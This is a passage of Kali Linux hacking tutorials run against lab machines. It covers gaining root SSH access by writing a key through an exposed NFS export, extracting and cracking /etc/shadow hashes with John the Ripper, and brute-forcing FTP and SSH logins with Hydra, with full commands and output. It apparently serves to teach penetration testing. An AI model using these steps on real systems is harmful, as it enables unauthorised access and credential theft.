Getting access to a system with a writeable filesystem like this is trivial. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file:


root@kali:~# mount -o nolock 192.168.122.73:/ /mnt


root@kali:~# ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase):  
Enter same passphrase again:  
Your identification has been saved in /root/.ssh/id_rsa. 
Your public key has been saved in /root/.ssh/id_rsa.pub.


root@kali:~# cat .ssh/id_rsa.pub >> /mnt/root/.ssh/authorized_keys


root@kali:~# umount /mnt


root@kali:~# ssh 192.168.122.73
Last login: Mon May 25 07:46:57 2015 from :0.0 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 
root@metasploitable:~#

Crack Linux Passwords using Kali Linux

In this tutorial, we will use 'John the Ripper' in Kali Linux to crack Linux passwords stored in the file '/etc/shadow'

For this tutorial, you need
a) Kali Linux LiveDVD
b) A linux machine

Perform the following steps:

1) Boot the machine using Kali Linux LiveDVD

2) Open the terminal window, and view the list of partitions on disk
root@kali:~# lsblk

3) Mount the Linux root partition
root@kali:~# mount /dev/vg_meru/root /mnt
root@kali:~# cd /mnt

4) Create a text file containing username and password hash in the following format.
            <user>:<hash>

[root@meru ~]# awk -F: '$2 ~ /^\$/ {print $1":"$2}' /etc/shadow > password.lst

[root@meru ~]# cat password.lst
shabbir:$6$KoqEqfJK$govc0uSQue8CbU4yUOIieZSyd7eg158RXFPlG1uzhxN1Hci9AJPaUQyK/PaORfAzTJRThWTcMzzdu0vTYa.pJ1
katrina:$6$gtF2S3MS$zpvexVAUhrLzqf9ru3twggh6rAYf5bPJRbkln6pcaPBC81o3b4cwhkcCqAE/s3Giq4mNqXwpya.GfcJ6ZvjwI0


5) Crack the password hashes using John the Ripper
root@kali:~# john password.lst
Created directory: /root/.john
Loaded 2 password hashes with 2 different salts (sha512crypt [64/64])
welcome          (katrina)
admin            (shabbir)guesses: 2  time: 0:00:00:16 DONE (Wed May  6 10:57:13 2015)  c/s: 278  trying: Winnie - allstate
Use the "--show" option to display all of the cracked passwords reliably


6) View the list of username, password.
root@kali:~# john --show password.lst
shabbir:admin
katrina:welcome

Attacking FTP and SSH using Hydra in Kali Linux

In this tutorial, we will launch an automated password guessing attack against a FTP Server and SSH server.

We will use 'hydra' in Kali Linux for the attack. We will provide 'hydra' with a wordlist of potential passwords. 'hydra' will try to authenticate using username 'shabbir' and the words in the wordlist as passwords.

1) Attacking FTP Server

root@kali:~# hydra -l shabbir -P /usr/share/wordlists/fasttrack.txt  ftp://192.168.122.1
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2015-04-17 19:58:04
[DATA] 16 tasks, 1 server, 133 login tries (l:1/p:133), ~8 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 192.168.122.1   login: shabbir   password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-04-17 19:58:08

where 
  -l shabbir : 'shabbir' is the login name
 -P /usr/share/wordlists/fasttrack.txt : is the wordlist 
  ftp://192.168.122.1 : is the server being attacked

2) Attacking SSH Server

root@kali:~# hydra -l shabbir -P /usr/share/wordlists/fasttrack.txt  192.168.122.1 ssh -s 22
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2015-04-17 20:02:18
[DATA] 16 tasks, 1 server, 133 login tries (l:1/p:133), ~8 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 192.168.122.1   login: shabbir   password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-04-17 20:02:22

where 
  -l shabbir : 'shabbir' is the login name
 -P /usr/share/wordlists/fasttrack.txt : is the wordlist 
  192.168.122.1 : is the server being attacked